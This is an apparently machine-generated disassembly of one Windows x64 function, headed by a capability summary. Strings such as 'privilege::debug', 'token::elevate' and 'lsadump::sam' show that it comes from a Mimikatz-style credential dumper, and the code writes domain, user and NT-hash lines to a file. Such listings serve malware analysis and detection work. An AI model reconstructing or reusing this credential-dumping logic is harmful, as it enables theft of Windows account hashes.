Function at 0x180001f70
Capabilities:
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x460
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x3ff
mov dword [rsp + 0x44], r14d
mov byte [rsp + 0x50], r14b
call fcn.1800212f0
mov dword [rsp + 0x40], r14d
mov esi, r14d
call fcn.18001ff18
lea rcx, [rax + 0x30]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc88], eax
call fcn.18001ff18
lea rcx, [rax + 0x60]
call fcn.180023220
mov edx, 0x40000
mov ecx, eax
call fcn.1800290c4
mov dword [0x18004cc90], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov r12d, 1
lea rcx, [0x180004580]
mov edx, r12d
mov dword [0x18004cc8c], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call fcn.180004a6c
lea r8, [0x18004cc9c]
lea rdx, [0x18004cc94]
lea rcx, [0x18004cc98]
call qword [sym.imp.ntdll.dll_RtlGetNtVersionNumbers]
and dword [0x18004cc9c], 0x7fff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x180002060
mov ecx, eax
call fcn.180004a6c
call fcn.180005470
lea rdi, [0x18004a500]
mov ebx, Ordinal_27
mov rax, qword [rdi]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x180002098
call rcx
test eax, eax
jns 0x180002098
mov rdx, qword [rdi]
lea rcx, str.INIT
mov r8d, eax
mov rdx, qword [rdx]
call fcn.180004a6c
add rdi, 8
dec rbx
jne 0x180002071
lea rcx, str.privilege::debug
xor r8d, r8d
xor edx, edx
mov dword [0x18004b78c], r12d
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, eax
test eax, eax
je 0x180002129
mov edx, ebx
mov ecx, 0x40
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x180002129
lea rcx, str.privilege::debug
mov r8d, ebx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp ebx, eax
je 0x1800020fb
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, rax
test rdi, rdi
je 0x180002129
movzx eax, word [rdi]
cmp eax, 0x21
je 0x180002117
cmp eax, 0x2a
je 0x180002120
mov rcx, rdi
call fcn.180004734
jmp 0x180002120
lea rcx, [rdi + 2]
call fcn.180004a80
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x18004b788], esi
je 0x18000215a
lea rcx, str.token::elevate
call fcn.180004684
test eax, eax
jne 0x180002153
lea rcx, str.lsadump::sam
call fcn.180004684
test eax, eax
cmove esi, r12d
mov dword [0x18004b788], r14d
mov dword [0x18004b78c], r14d
test esi, esi
je 0x1800022f3
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x28], Ordinal_133
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x1800022f3
lea rcx, [rsp + 0x44]
mov qword [rsp + 0x498], r13
call fcn.180003010
mov ebx, dword [rsp + 0x44]
mov r13d, r14d
mov rbp, rax
test ebx, ebx
je 0x1800022a7
mov qword [rsp + 0x4a0], r15
mov r14, rax
lea r15, [rax + 0x10]
mov rax, qword [r14 + 8]
mov r9, qword [r14]
inc r13d
lea rdx, str._d_domain___ls__user___ls_
lea rcx, [rsp + 0x50]
mov r8d, r13d
mov qword [rsp + 0x20], rax
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], rax
not rcx
dec rcx
movzx r8d, cl
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call fcn.1800212f0
lea rdx, str.nthash_s__r_n
lea rcx, [rsp + 0x50]
mov r8, r15
call fcn.18001f834
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x50]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rax
not rcx
dec rcx
movzx r8d, cl
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call fcn.1800212f0
add r15, 0x58
add r14, 0x58
cmp r13d, ebx
jb 0x1800021d2
mov r15, qword [rsp + 0x4a0]
xor r14d, r14d
mov r13, qword [rsp + 0x498]
test rbp, rbp
je 0x1800022f3
test ebx, ebx
je 0x1800022eb
lea rdi, [rbp + 8]
nop dword [rax]
mov rcx, qword [rdi - 8]
test rcx, rcx
je 0x1800022d2
call fcn.180028cc8
mov qword [rdi - 8], r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x1800022e2
call fcn.180028cc8
mov qword [rdi], r14
add rdi, 0x58
dec rbx
jne 0x1800022c0
mov rcx, rbp
call fcn.180028cc8
mov eax, esi
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.18001f750
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x460
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret